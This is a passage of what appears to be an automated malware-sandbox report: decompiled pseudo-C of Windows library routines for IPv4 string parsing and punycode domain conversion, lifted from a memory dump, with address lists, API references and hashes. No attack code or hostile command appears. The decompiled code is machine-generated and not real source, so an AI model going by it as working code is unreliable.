					_v40 = _t54;
					if( *_t122 == 0x30) {
						_t123 = _t122 + 1;
						_t56 = E6B58CB30( *_t123,  *_t123);
						_pop(_t88);
						if(_t56 == 0 || E6B58CC80(_t88,  *_t123) == 0) {
							_t57 =  *_t123;
							if(_t57 == 0x78 || _t57 == 0x58) {
								_push(0x10);
								_t123 = _t123 + 1;
								goto L22;
							} else {
								_t54 = _v40;
								_v25 = 1;
								goto L2;
							}
						} else {
							_push(8);
							L22:
							_pop(_t54);
							_v40 = _t54;
							goto L2;
						}
					}
					L2:
					if(_a8 == 0 || _t54 == 0xa) {
						_t58 =  *_t123;
						if(_t58 == 0) {
							_t90 = _v25;
							_t117 = _v36;
							L10:
							if( *_t123 == 0x2e) {
								if(_t119 >=  &_v12) {
									goto L12;
								}
								goto L36;
							}
							if(_t90 != 0) {
								 *_t119 = _t117;
								_t119 = _t119 -  &_v24 + 4 >> 2;
								if(_t90 == 0 || _t119 == 4) {
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t93 = _v24;
										L58:
										asm("bswap ecx");
										 *_t87 = _t123;
										 *_v44 = _t93;
										_t60 = 0;
										goto L13;
									}
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t94 = _v24;
										if(_t94 > 0xff) {
											goto L12;
										}
										_t64 = _v20;
										_t117 = 0xffffff;
										if(_t64 > 0xffffff) {
											goto L12;
										}
										_t95 = _t94 << 0x18;
										_t65 = _t64 & 0x00ffffff;
										L56:
										_t93 = _t95 | _t65;
										goto L58;
									}
									_t119 = _t119 - 1;
									if(_t119 == 0) {
										_t117 = _v24;
										if(_t117 > 0xff) {
											goto L12;
										}
										_t96 = _v20;
										if(_t96 > 0xff) {
											goto L12;
										}
										_t67 = _v16;
										if(_t67 > 0xffff) {
											goto L12;
										}
										_t117 = _t117 << 8;
										_t65 = _t67 & 0x0000ffff;
										_t95 = (_t96 & 0x000000ff | _t117) << 0x10;
										goto L56;
									}
									if(_t119 != 0) {
										goto L12;
									}
									_t117 = _v24;
									if(_t117 > 0xff) {
										goto L12;
									}
									_t99 = _v20;
									if(_t99 > 0xff || _v16 > 0xff || _v12 > 0xff) {
										goto L12;
									} else {
										_t95 = ((_t99 & 0x000000ff | _t117) << 0x00000008 | _v16 & 0x000000ff) << 8;
										_t65 = _v12 & 0x000000ff;
										goto L56;
									}
								} else {
									goto L12;
								}
							}
							goto L12;
						} else {
							goto L5;
						}
						do {
							L5:
							_t72 = _t58;
							_v32 = _t58;
							_t73 = E6B58CB30(_t58, _t72);
							_t105 = _v32;
							if(_t73 == 0) {
								L7:
								if(_v40 == 0x10) {
									if(E6B58CB30(_t73, _t105) == 0 || E6B58CDD0(_v32, _v32) == 0) {
										goto L8;
									} else {
										_t76 = E6B58CB30(_t75, _v32);
										_pop(_t110);
										if(_t76 == 0 || E6B58CCE0(_t110, _v32) == 0) {
											_push(0x41);
										} else {
											_push(0x61);
										}
										_t117 = _v36;
										_pop(_t111);
										_t112 = _v32;
										_t80 = (_t117 << 4) - _t111 + 0xa;
										L32:
										_t81 = _t80 + _t112;
										if(_t81 < _t117) {
											goto L12;
										}
										goto L33;
									}
								}
								L8:
								_t117 = _v36;
								L9:
								_t90 = _a8;
								goto L10;
							}
							_t73 = E6B58CC80(_t105, _t105);
							_t105 = _v32;
							if(_t73 != 0) {
								_t118 = _v40;
								_t26 = _t105 - 0x30; // -48
								_t73 = _t26;
								if(_t26 >= _t118) {
									goto L7;
								}
								_t117 = _v36;
								_t80 = _t118 * _t117 + 0xffffffd0;
								goto L32;
							}
							goto L7;
							L33:
							_t123 = _t123 + 1;
							_t117 = _t81;
							_v36 = _t117;
							_v25 = 1;
							_t58 =  *_t123;
						} while (_t58 != 0);
						goto L9;
					} else {
						L12:
						 *_t87 = _t123;
						_t60 = 0xc000000d;
						L13:
						return E6B58B640(_t60, _t87, _v8 ^ _t124, _t117, _t119, _t123);
					}
					L36:
					 *_t119 = _t117;
					_t119 = _t119 + 4;
					_t122 = _t123 + 1;
				} while (_t90 != 0);
				goto L12;
			}

0x6b54722f
0x6b547236
0x6b54723a
0x6b54723e
0x6b547241
0x6b547244
0x6b547244
0x6b54724f
0x6b547252
0x6b547253
0x6b547256
0x6b5a2462
0x6b5a2467
0x6b5a246c
0x6b5a246f
0x6b5a2483
0x6b5a2487
0x6b5a2499
0x6b5a249b
0x00000000
0x6b5a248d
0x6b5a248d
0x6b5a2490
0x00000000
0x6b5a2490
0x6b5a247f
0x6b5a247f
0x6b5a249c
0x6b5a249c
0x6b5a249d
0x00000000
0x6b5a249d
0x6b5a246f
0x6b54725c
0x6b547261
0x6b547268
0x6b54726c
0x6b5472d2
0x6b5472d5
0x6b5472a7
0x6b5472aa
0x6b5a253b
0x00000000
0x00000000
0x00000000
0x6b5a253b
0x6b5472b2
0x6b5a2554
0x6b5a255e
0x6b5a2563
0x6b5a256e
0x6b5a2571
0x6b5a263a
0x6b5a263d
0x6b5a2640
0x6b5a2642
0x6b5a2644
0x6b5a2646
0x00000000
0x6b5a2646
0x6b5a2577
0x6b5a257a
0x6b5a2612
0x6b5a261b
0x00000000
0x00000000
0x6b5a2621
0x6b5a2624
0x6b5a262b
0x00000000
0x00000000
0x6b5a2631
0x6b5a2634
0x6b5a2636
0x6b5a2636
0x00000000
0x6b5a2636
0x6b5a2580
0x6b5a2583
0x6b5a25d9
0x6b5a25e3
0x00000000
0x00000000
0x6b5a25e9
0x6b5a25ee
0x00000000
0x00000000
0x6b5a25f4
0x6b5a25fc
0x00000000
0x00000000
0x6b5a2605
0x6b5a260a
0x6b5a260d
0x00000000
0x6b5a260d
0x6b5a2588
0x00000000
0x00000000
0x6b5a258e
0x6b5a2598
0x00000000
0x00000000
0x6b5a259e
0x6b5a25a3
0x00000000
0x6b5a25bb
0x6b5a25d1
0x6b5a25d4
0x00000000
0x6b5a25d4
0x00000000
0x00000000
0x00000000
0x6b5a2563
0x00000000
0x00000000
0x00000000
0x00000000
0x6b54726e
0x6b54726e
0x6b54726e
0x6b547272
0x6b547275
0x6b54727b
0x6b547280
0x6b547294
0x6b547298
0x6b5a24c9
0x00000000
0x6b5a24e1
0x6b5a24e4
0x6b5a24e9
0x6b5a24ec
0x6b5a24ff
0x6b5a24fb
0x6b5a24fb
0x6b5a24fb
0x6b5a2501
0x6b5a2506
0x6b5a250c
0x6b5a250f
0x6b5a2512
0x6b5a2512
0x6b5a2516
0x00000000
0x00000000
0x00000000
0x6b5a2516
0x6b5a24c9
0x6b54729e
0x6b54729e
0x6b5472a4
0x6b5472a4
0x00000000
0x6b5472a4
0x6b547283
0x6b547289
0x6b54728e
0x6b5a24a5
0x6b5a24a8
0x6b5a24a8
0x6b5a24ad
0x00000000
0x00000000
0x6b5a24b5
0x6b5a24bb
0x00000000
0x6b5a24bb
0x00000000
0x6b5a251c
0x6b5a251c
0x6b5a251d
0x6b5a2521
0x6b5a2524
0x6b5a2527
0x6b5a2529
0x00000000
0x6b5472b8
0x6b5472b8
0x6b5472b8
0x6b5472ba
0x6b5472bf
0x6b5472cf
0x6b5472cf
0x6b5a2541
0x6b5a2541
0x6b5a2543
0x6b5a2546
0x6b5a2547
0x00000000

APIs

__isascii.1105(0000000A,?), ref: 6B547275
isdigit.1105(00000000,?), ref: 6B547283
__isascii.1105(0000000A,?), ref: 6B5A2467
isdigit.1105(00000000,?), ref: 6B5A2475

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit
String ID:
API String ID: 2481201981-0
Opcode ID: bddb2ab8075d007a023dcb99bc0fc887de9bb1d75530b14bc369de2f5ea496d7
Instruction ID: 6d09f3adf526bfff5bbe947a0f2c400658f2ec5241c747bdb27a74a9ec90f883
Opcode Fuzzy Hash: bddb2ab8075d007a023dcb99bc0fc887de9bb1d75530b14bc369de2f5ea496d7
Instruction Fuzzy Hash: 4F71B531A0821A8BFB04CEA9D9516FEB7F5EF86310F6446A9E455B7280D73DC94187A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B55F820, Relevance: 12.1, APIs: 8, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6B55F820(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int* _a20) {
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* _t37;
				signed int _t55;
				signed int _t56;
				signed int* _t62;
				signed int _t64;
				signed int* _t72;
				signed int _t76;
				void* _t78;
				signed int _t80;
				void* _t82;
				void* _t83;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_t74 = _a4;
				if(_a4 == 0) {
					L22:
					_t78 = 0x57;
					goto L16;
				} else {
					_t62 = _a20;
					if(_t62 == 0) {
						goto L22;
					} else {
						_t37 = E6B58F380(_t74, 0x6b525138, 0x10);
						_t83 = _t82 + 0xc;
						if(_t37 == 0) {
							if( *0x6b6360d8 == 0) {
								goto L3;
							} else {
								_push(0x57);
								goto L25;
							}
						} else {
							L3:
							_t71 = _a12;
							 *_t62 =  *_t62 & 0x00000000;
							_t78 = 0;
							_t62[1] = _t62[1] & 0x00000000;
							_t76 = E6B57BC2C(_t74, _a12, _a16, _a8);
							if(_t76 == 0) {
								_push("true");
								L25:
								_pop(_t78);
								goto L23;
							} else {
								_t8 = _t76 + 0x24; // 0x24
								_t63 = _t8;
								E6B562280(_t38, _t8);
								 *(_t76 + 0x2c) =  *( *[fs:0x18] + 0x24);
								if(_a8 == 0xa) {
									L6:
									_t14 = _t76 + 0xc; // 0xc
									 *((intOrPtr*)(_t83 + 0x18)) = _t14;
									 *((short*)(_t83 + 0x20)) =  *(_t76 + 0x34);
									E6B562280( *(_t76 + 0x34), 0x6b6386ac);
									_t64 =  *0x6b6386dc;
									_v20 =  *0x6b6386e0 & 1;
									_v24 = 0;
									if(_t64 != 0) {
										L7:
										while(1) {
											if(E6B55F99D(_t83 + 0x1c, _t64) >= 0) {
												_t55 =  *(_t64 + 4);
												if(_v16 != 0) {
													if(_t55 == 0) {
														goto L13;
													} else {
														_t55 = _t55 ^ _t64;
														goto L12;
													}
													goto L17;
												} else {
													L12:
													if(_t55 != 0) {
														goto L10;
													} else {
														L13:
														_v20 = 1;
													}
												}
											} else {
												_t56 =  *_t64;
												if(_v16 != 0) {
													if(_t56 == 0) {
														goto L14;
													} else {
														_t55 = _t56 ^ _t64;
														goto L9;
													}
													goto L17;
												} else {
													L9:
													if(_t55 == 0) {
														L14:
														_v20 = 0;
													} else {
														L10:
														_t64 = _t55;
														continue;
													}
												}
											}
											goto L15;
										}
									}
									L15:
									E6B55B090(0x6b6386dc, _t64, _v20, _t76);
									E6B55FFB0(_t64, _t76, 0x6b6386ac);
									E6B57F296(_t76, _t71);
									 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
									_t29 = _t76 + 0x24; // 0x24
									E6B55FFB0(_t64, _t76, _t29);
									asm("cdq");
									_t72 = _a20;
									 *_t72 = _t76;
									_t72[1] =  *(_t76 + 0x34) & 0x0000ffff;
								} else {
									_t71 = _a12;
									_t78 = E6B574D3B(_t76, _a12, _a8);
									if(_t78 != 0) {
										 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
										E6B55FFB0(_t63, _t76, _t63);
										E6B54F871(_t63);
									} else {
										goto L6;
									}
								}
								L16:
								if(_t78 != 0) {
									L23:
									E6B54CC50(_t78);
								}
							}
						}
					}
				}
				L17:
				return _t78;
			}

0x6b55f828
0x6b55f82e
0x6b55f833
0x6b55f990
0x6b55f992
0x00000000
0x6b55f839
0x6b55f839
0x6b55f83e
0x00000000
0x6b55f844
0x6b55f84c
0x6b55f851
0x6b55f856
0x6b55f97b
0x00000000
0x6b55f981
0x6b55f981
0x00000000
0x6b55f981
0x6b55f85c
0x6b55f85c
0x6b55f85f
0x6b55f867
0x6b55f86a
0x6b55f86c
0x6b55f875
0x6b55f879
0x6b5abd6b
0x6b5abd6d
0x6b5abd6d
0x00000000
0x6b55f87f
0x6b55f87f
0x6b55f87f
0x6b55f883
0x6b55f895
0x6b55f898
0x6b55f8b1
0x6b55f8b1
0x6b55f8b4
0x6b55f8c1
0x6b55f8c6
0x6b55f8d2
0x6b55f8db
0x6b55f8df
0x6b55f8e6
0x00000000
0x6b55f8e8
0x6b55f8f5
0x6b55f911
0x6b55f914
0x6b55f98a
0x00000000
0x6b55f98c
0x6b55f98c
0x00000000
0x6b55f98c
0x00000000
0x6b55f916
0x6b55f916
0x6b55f918
0x00000000
0x6b55f91a
0x6b55f91a
0x6b55f91a
0x6b55f91a
0x6b55f918
0x6b55f8f7
0x6b55f8fc
0x6b55f8fe
0x6b5abd8b
0x00000000
0x6b5abd91
0x6b5abd91
0x00000000
0x6b5abd91
0x00000000
0x6b55f904
0x6b55f904
0x6b55f906
0x6b55f921
0x6b55f921
0x6b55f908
0x6b55f908
0x6b55f908
0x00000000
0x6b55f908
0x6b55f906
0x6b55f8fe
0x00000000
0x6b55f8f5
0x6b55f8e8
0x6b55f926
0x6b55f931
0x6b55f93b
0x6b55f942
0x6b55f947
0x6b55f94b
0x6b55f94f
0x6b55f95a
0x6b55f95d
0x6b55f960
0x6b55f962
0x6b55f89a
0x6b55f89d
0x6b55f8a7
0x6b55f8ab
0x6b5abd73
0x6b5abd78
0x6b5abd7f
0x00000000
0x00000000
0x00000000
0x6b55f8ab
0x6b55f965
0x6b55f967
0x6b55f995
0x6b55f996
0x6b55f996
0x6b55f967
0x6b55f879
0x6b55f856
0x6b55f83e
0x6b55f969
0x6b55f971

APIs

memcmp.1105(00000030,6B525138,00000010,00000000,00000001,-00000001), ref: 6B55F84C
RtlAcquireSRWLockExclusive.1105(00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6B55F883
RtlAcquireSRWLockExclusive.1105(6B6386AC,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6B55F8C6

Part of subcall function 6B574D3B: memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6B574D77
Part of subcall function 6B574D3B: RtlRunOnceExecuteOnce.1105(6B6386B0,6B575690,00000000,00000000,00000000,00000000,00000024), ref: 6B574D9E
Part of subcall function 6B574D3B: ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B574DE9
Part of subcall function 6B574D3B: memcmp.1105(00000000,6B525138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6B574E26

RtlRbInsertNodeEx.1105(6B6386DC,?,00000000,00000000), ref: 6B55F931
RtlReleaseSRWLockExclusive.1105(6B6386AC,6B6386DC,?,00000000,00000000), ref: 6B55F93B
RtlReleaseSRWLockExclusive.1105(00000024,6B6386AC,6B6386DC,?,00000000,00000000), ref: 6B55F94F

Part of subcall function 6B57BC2C: RtlAcquireSRWLockExclusive.1105(?,00000030,00000000,-00000001,6B55F875,00000000,00000000,00000000,00000001,-00000001), ref: 6B57BC79
Part of subcall function 6B57BC2C: RtlReleaseSRWLockExclusive.1105(?,?,00000030,00000000,-00000001,6B55F875,00000000,00000000,00000000,00000001,-00000001), ref: 6B57BC8D
Part of subcall function 6B57BC2C: RtlAllocateHeap.1105(?,00000008,000000D0,?,?,00000030,00000000,-00000001,6B55F875,00000000,00000000,00000000,00000001,-00000001), ref: 6B57BCA6

RtlSetLastWin32Error.1105(00000057,00000000,00000001,-00000001), ref: 6B55F996
RtlReleaseSRWLockExclusive.1105(00000024,0000000A,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6B5ABD78

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$Oncememcmp$AllocateControlErrorExecuteHeapInsertLastNodeTraceWin32memset
String ID:
API String ID: 3014906823-0
Opcode ID: 4418dbacdf33d74be638d8bc3969cdf0e483f9f16c80f260ec7d067c95679163
Instruction ID: 3d943f22b7b9fe6c073c7a15fd639f71e4db0a0ac3e3c07d5f88d6ce383d4fdd
Opcode Fuzzy Hash: 4418dbacdf33d74be638d8bc3969cdf0e483f9f16c80f260ec7d067c95679163
Instruction Fuzzy Hash: 4D41F272604B46ABF711DF28C991BDBB7E4AF85706F00456AE8149B244DB3CD824CFE2

Uniqueness

Uniqueness Score: -1.00%

Function 6B545C07, Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 452
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6B545C07(signed short* __ecx, signed int __edx, signed int* _a4, signed int* _a8, char _a12, char _a16, char* _a20, intOrPtr* _a24) {
				signed short* _v8;
				intOrPtr _v12;
				signed int* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				signed int* _v44;
				signed int _v48;
				signed short* _v52;
				signed short* _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int* _v76;
				void* _t155;
				signed int* _t156;
				intOrPtr* _t159;
				char _t160;
				signed int _t179;
				signed int _t181;
				char* _t182;
				void* _t183;
				signed int _t186;
				void* _t187;
				signed int _t190;
				signed int _t196;
				signed int* _t198;
				signed int _t200;
				intOrPtr _t202;
				intOrPtr _t203;
				signed int _t215;
				intOrPtr _t221;
				signed int _t222;
				signed int _t225;
				void* _t227;
				void* _t228;
				signed int* _t233;
				intOrPtr* _t234;
				signed int* _t236;
				signed short* _t239;
				void* _t249;
				void* _t250;
				signed int _t251;
				signed int _t253;
				void* _t269;
				signed int _t270;
				signed int _t272;
				void* _t273;
				void* _t274;
				signed short* _t277;
				signed short* _t280;
				intOrPtr* _t281;
				intOrPtr* _t282;
				signed int _t284;
				signed int _t287;
				signed int* _t288;
				signed int _t293;
				signed int* _t295;
				signed int* _t297;
				signed int _t299;
				signed int* _t302;
				signed int _t306;
				signed int _t309;
				signed int _t314;
				signed int _t315;
				signed short* _t317;
				void* _t318;

				_t236 = _a8;
				_v72 = __edx;
				_v52 = __ecx;
				_t299 =  *_t236;
				 *_t236 =  *_t236 & 0x00000000;
				 *_a20 = 1;
				if(__edx <= 0) {
					_t155 = 0xc0000716;
					L34:
					return _t155;
				}
				_t277 =  &(__ecx[__edx]);
				_t238 = __ecx;
				_v8 = __ecx;
				_v56 =  &(__ecx[0xffffffffffffffff]);
				_t295 = _a4;
				_t156 = _t295;
				_v16 = _t156;
				_t233 = _t156;
				_v76 = _t233;
				_v12 = _t233 + _t299 * 2;
				 *_a24 = _t233 - 2;
				if(__ecx >= _t277) {
					L35:
					_t155 = 0xc0000716;
					L33:
					goto L34;
				}
				_t302 = _t233;
				_v60 = 0x80;
				while(1) {
					_t159 = E6B545DDE(_t238, _t277, _a12);
					_t239 = _v8;
					_t234 = _t159;
					if(_t234 == _t239) {
						break;
					}
					if(_a12 != 0) {
						_t306 = _t234 - _t239;
						L7:
						if((_t277 - _t239 & 0xfffffffe) < 8) {
							L11:
							if((_v12 - _t295 & 0xfffffffe) < (_t306 & 0xfffffffe)) {
								goto L35;
							}
							_t280 = _t239;
							if(_t239 >= _t234) {
								L21:
								if(_a12 != 0 || (_t234 - _t239 & 0xfffffffe) <= 0x7e && _t295 != _v16) {
									_t277 = _v52 + _v72 * 2;
									if(_t234 == _t277) {
										L27:
										_t160 = _a12;
										if(_t160 != 0) {
											_a12 = 0;
											_v56 = _t234;
											asm("sbb ecx, ecx");
											 *_a24 = _t295 - ( ~(_t234 - _t277) & 0x00000002);
											if(_t234 == _t277 - 2) {
												goto L35;
											}
											_t160 = _a12;
										}
										_t238 = _t234 + 2;
										_t302 = _t295;
										_v8 = _t234 + 2;
										_v16 = _t302;
										if(_t234 < _t277) {
											continue;
										}
										L29:
										_t297 = _v76;
										if(_t302 == _t297 || _t160 == 0 && _t277 - _v56 >> 1 > (0 | ( *(_t277 - 2) & 0x0000ffff) == 0x0000002e) + 0xff) {
											goto L35;
										} else {
											 *_a8 = _t302 - _t297 >> 1;
											_t155 = 0;
											goto L33;
										}
									}
									if(_t295 >= _v12) {
										goto L35;
									}
									 *_t295 =  *_t234;
									_t295 =  &(_t295[0]);
									_a4 = _t295;
									goto L27;
								} else {
									goto L35;
								}
							} else {
								goto L13;
							}
							do {
								L13:
								if(_a12 != 0) {
									L17:
									_t179 =  *_t280 & 0x0000ffff;
									if(_t179 == 0 || _t179 >= 0x80) {
										goto L35;
									} else {
										goto L19;
									}
								}
								if(_a16 != 0) {
									if(E6B5F7F9F( *_t280) == 0) {
										goto L35;
									}
								}
								_t181 =  *_t280 & 0x0000ffff;
								_t249 = 0x20;
								if(_t181 < _t249) {
									goto L35;
								}
								_t250 = 0x7f;
								if(_t181 == _t250) {
									goto L35;
								}
								goto L17;
								L19:
								 *_t295 = _t179;
								_t280 =  &(_t280[1]);
								_t295 =  &(_t295[0]);
								_a4 = _t295;
							} while (_t280 < _t234);
							L20:
							_t239 = _v8;
							goto L21;
						}
						_t182 = L"xl--";
						if(_a12 == 0) {
							_t182 = L"xn--";
						}
						_t183 = E6B58E5C0(_t239, _t182, 4);
						_t239 = _v8;
						_t318 = _t318 + 0xc;
						if(_t183 == 0) {
							_t281 = _t234 - 2;
							_t239 =  &(_t239[4]);
							_v8 = _t239;
							 *_a20 = 0;
							if(_t281 < _t239) {
								L46:
								_t281 = 0;
								L47:
								if(_t281 == _t234 - 2) {
									goto L35;
								}
								if(_t281 == 0 || _t281 <= _t239) {
									_t186 = 0;
								} else {
									_t317 = _t239;
									_t186 = _t281 - _t239 >> 1;
									_v48 = _t186;
									if(_t239 == _t281) {
										L68:
										if(_t186 <= 0) {
											_t187 = 0;
										} else {
											_t187 = 2 + _t186 * 2;
										}
										_t309 = 0;
										_v24 = 0x80;
										_v28 = _v28 & 0;
										_t282 = _t187 + _t239;
										_v36 = _t282;
										_v48 = 0x48;
										if(_t282 >= _t234) {
											goto L21;
										} else {
											do {
												_t251 = 0x24;
												_v68 = _t309;
												_v64 = _t309;
												_v20 = 1;
												_v40 = _t251;
												_v44 = _t251 - _v48;
												while(_t282 < _t234) {
													_t190 = E6B5F802C( *_t282);
													_v36 = _v36 + 2;
													_t253 = _t190;
													if(_t253 < 0) {
														goto L35;
													}
													asm("cdq");
													if(_t253 > 0x7ffffff / _v20) {
														goto L35;
													}
													_t284 = _v40;
													_t309 = _t309 + _t253 * _v20;
													_t196 = _v48;
													_v32 = _t309;
													if(_t284 > _t196) {
														if(_t284 < _t196 + 0x1a) {
															_t198 = _v44;
														} else {
															_t198 = 0x1a;
														}
													} else {
														_t198 = 1;
													}
													if(_t253 < _t198) {
														_t314 = (_t295 - _v16 >> 1) - _v28 + 1;
														_v48 = E6B5F7FD5(_v32 - _v68, _t314, (_t253 & 0xffffff00 | _v64 == 0x00000000) & 0x000000ff);
														_t200 = _v32;
														asm("cdq");
														_t315 = _t200 % _t314;
														_t287 = _t200 / _t314;
														_t202 = _v24;
														_v32 = _t315;
														if(_t287 > 0x7ffffff - _t202) {
															goto L35;
														}
														_t203 = _t202 + _t287;
														_v24 = _t203;
														if(_t203 >= 0x80 && _t203 <= 0x10ffff && (_t203 < 0xd800 || _t203 > 0xdfff)) {
															if(_v28 <= 0) {
																_t288 = _v16 + _t315 * 2;
																_v44 = _t288;
																L97:
																if(_t203 >= 0x10000) {
																	if(_t295 >= _v12 + 0xfffffffe || _t288 > _t295) {
																		goto L35;
																	} else {
																		asm("cdq");
																		_t140 = (_v24 + 0xffff0000) / 0x400 - 0x2800; // -4294911872
																		E6B5F7F11((_v24 + 0xffff0000) / 0x400, _t140, _v44,  &_a4);
																		E6B5F7F11( &_a4, (_v24 + 0xffff0000) % 0x400 - 0x2400,  &(_v44[0]),  &_a4);
																		_v28 = _v28 + 1;
																		_t315 = _v32;
																		goto L104;
																	}
																}
																if(_t295 >= _v12 || _t288 > _t295) {
																	goto L35;
																} else {
																	E6B5F7F11(_t203, _t203, _t288,  &_a4);
																	goto L104;
																}
															}
															_t288 = _v16;
															_v40 = _t315;
															_v44 = _t288;
															if(_t315 <= 0) {
																goto L97;
															}
															while(_t288 < _t295) {
																if(E6B5F7F61( *_t288) != 0) {
																	_t288 =  &(_t288[0]);
																}
																_t288 =  &(_t288[0]);
																_t215 = _v40 - 1;
																_v44 = _t288;
																_v40 = _t215;
																if(_t215 > 0) {
																	continue;
																} else {
																	_t203 = _v24;
																	goto L97;
																}
															}
														}
														goto L35;
													} else {
														_t269 = 0x24;
														_t270 = _t269 - _t198;
														asm("cdq");
														_t293 = _v20;
														if(_t293 > 0x7ffffff / _t270) {
															goto L35;
														}
														_v40 = _v40 + 0x24;
														_v44 =  &(_v44[9]);
														_t282 = _v36;
														_v20 = _t270 * _t293;
														continue;
													}
												}
												goto L35;
												L104:
												_t282 = _v36;
												_t309 = _t315 + 1;
												_t295 = _a4;
											} while (_t282 < _t234);
											goto L20;
										}
									}
									while(_t295 < _v12) {
										_t221 = _a12;
										if(_t221 != 0) {
											L58:
											_t272 =  *_t317 & 0x0000ffff;
											if(_t272 == 0 || _t272 >= _v60) {
												goto L35;
											} else {
												if(_t221 != 0) {
													L63:
													_t222 = _t272;
													L64:
													 *_t295 = _t222;
													_t317 =  &(_t317[1]);
													_t295 =  &(_t295[0]);
													_a4 = _t295;
													if(_t317 != _t281) {
														continue;
													}
													break;
												}
												_t59 = _t272 - 0x41; // 0x3f
												if(_t59 > 0x19) {
													goto L63;
												}
												_t60 = _t272 + 0x20; // 0xa0
												_t222 = _t60 & 0x0000ffff;
												goto L64;
											}
										}
										if(_a16 == _t221 || E6B5F7F9F( *_t317) != 0) {
											_t225 =  *_t317 & 0x0000ffff;
											_t273 = 0x20;
											if(_t225 < _t273) {
												goto L35;
											}
											_t274 = 0x7f;
											if(_t225 == _t274) {
												goto L35;
											}
											_t221 = _a12;
											goto L58;
										} else {
											goto L35;
										}
									}
									if(_t317 != _t281) {
										goto L35;
									}
									_t239 = _v8;
									_t186 = _v48;
								}
								goto L68;
							}
							_t227 = 0x2d;
							while( *_t281 != _t227) {
								_t281 = _t281 - 2;
								if(_t281 >= _t239) {
									continue;
								}
								goto L46;
							}
							goto L47;
						} else {
							goto L11;
						}
					}
					if(_a16 != 0) {
						_t228 = 0x2d;
						if( *_t239 == _t228) {
							goto L35;
						}
						if(_t234 <= _v52) {
							goto L6;
						}
						if( *((intOrPtr*)(_t234 - 2)) == _t228) {
							goto L35;
						}
					}
					L6:
					_t306 = _t234 - _t239;
					if((_t306 & 0xfffffffe) > 0x7e) {
						goto L35;
					}
					goto L7;
				}
				_t160 = _a12;
				if(_t160 != 0 || _t234 != _t277) {
					goto L35;
				} else {
					goto L29;
				}
			}

0x6b545c14
0x6b545c18
0x6b545c1b
0x6b545c1e
0x6b545c20
0x6b545c26
0x6b545c2b
0x6b5a12f0
0x6b545dcf
0x6b545dd4
0x6b545dd4
0x6b545c31
0x6b545c34
0x6b545c39
0x6b545c3c
0x6b545c40
0x6b545c43
0x6b545c45
0x6b545c48
0x6b545c4a
0x6b545c53
0x6b545c59
0x6b545c5d
0x6b545dd7
0x6b545dd7
0x6b545dce
0x00000000
0x6b545dce
0x6b545c63
0x6b545c65
0x6b545c6c
0x6b545c6f
0x6b545c74
0x6b545c77
0x6b545c7b
0x00000000
0x00000000
0x6b545c85
0x6b5a1320
0x6b545ca7
0x6b545cb1
0x6b545cda
0x6b545ce7
0x00000000
0x00000000
0x6b545ced
0x6b545cf1
0x6b545d4b
0x6b545d4f
0x6b545d68
0x6b545d6d
0x6b545d80
0x6b545d80
0x6b545d85
0x6b5a163d
0x6b5a1643
0x6b5a164a
0x6b5a1654
0x6b5a165b
0x00000000
0x00000000
0x6b5a1661
0x6b5a1661
0x6b545d8b
0x6b545d8e
0x6b545d90
0x6b545d93
0x6b545d98
0x00000000
0x00000000
0x6b545d9e
0x6b545d9e
0x6b545da3
0x00000000
0x6b545dc3
0x6b545dca
0x6b545dcc
0x00000000
0x6b545dcc
0x6b545da3
0x6b545d72
0x00000000
0x00000000
0x6b545d77
0x6b545d7a
0x6b545d7d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b545cf3
0x6b545cf3
0x6b545cf7
0x6b545d1e
0x6b545d1e
0x6b545d24
0x00000000
0x00000000
0x00000000
0x00000000
0x6b545d24
0x6b545cfd
0x6b5a1630
0x00000000
0x00000000
0x6b5a1636
0x6b545d03
0x6b545d08
0x6b545d0c
0x00000000
0x00000000
0x6b545d14
0x6b545d18
0x00000000
0x00000000
0x00000000
0x6b545d38
0x6b545d38
0x6b545d3b
0x6b545d3e
0x6b545d41
0x6b545d44
0x6b545d48
0x6b545d48
0x00000000
0x6b545d48
0x6b545cb7
0x6b545cbc
0x6b545cbe
0x6b545cbe
0x6b545cc7
0x6b545ccc
0x6b545ccf
0x6b545cd4
0x6b5a132a
0x6b5a132d
0x6b5a1330
0x6b5a1333
0x6b5a1338
0x6b5a1349
0x6b5a1349
0x6b5a134b
0x6b5a1350
0x00000000
0x00000000
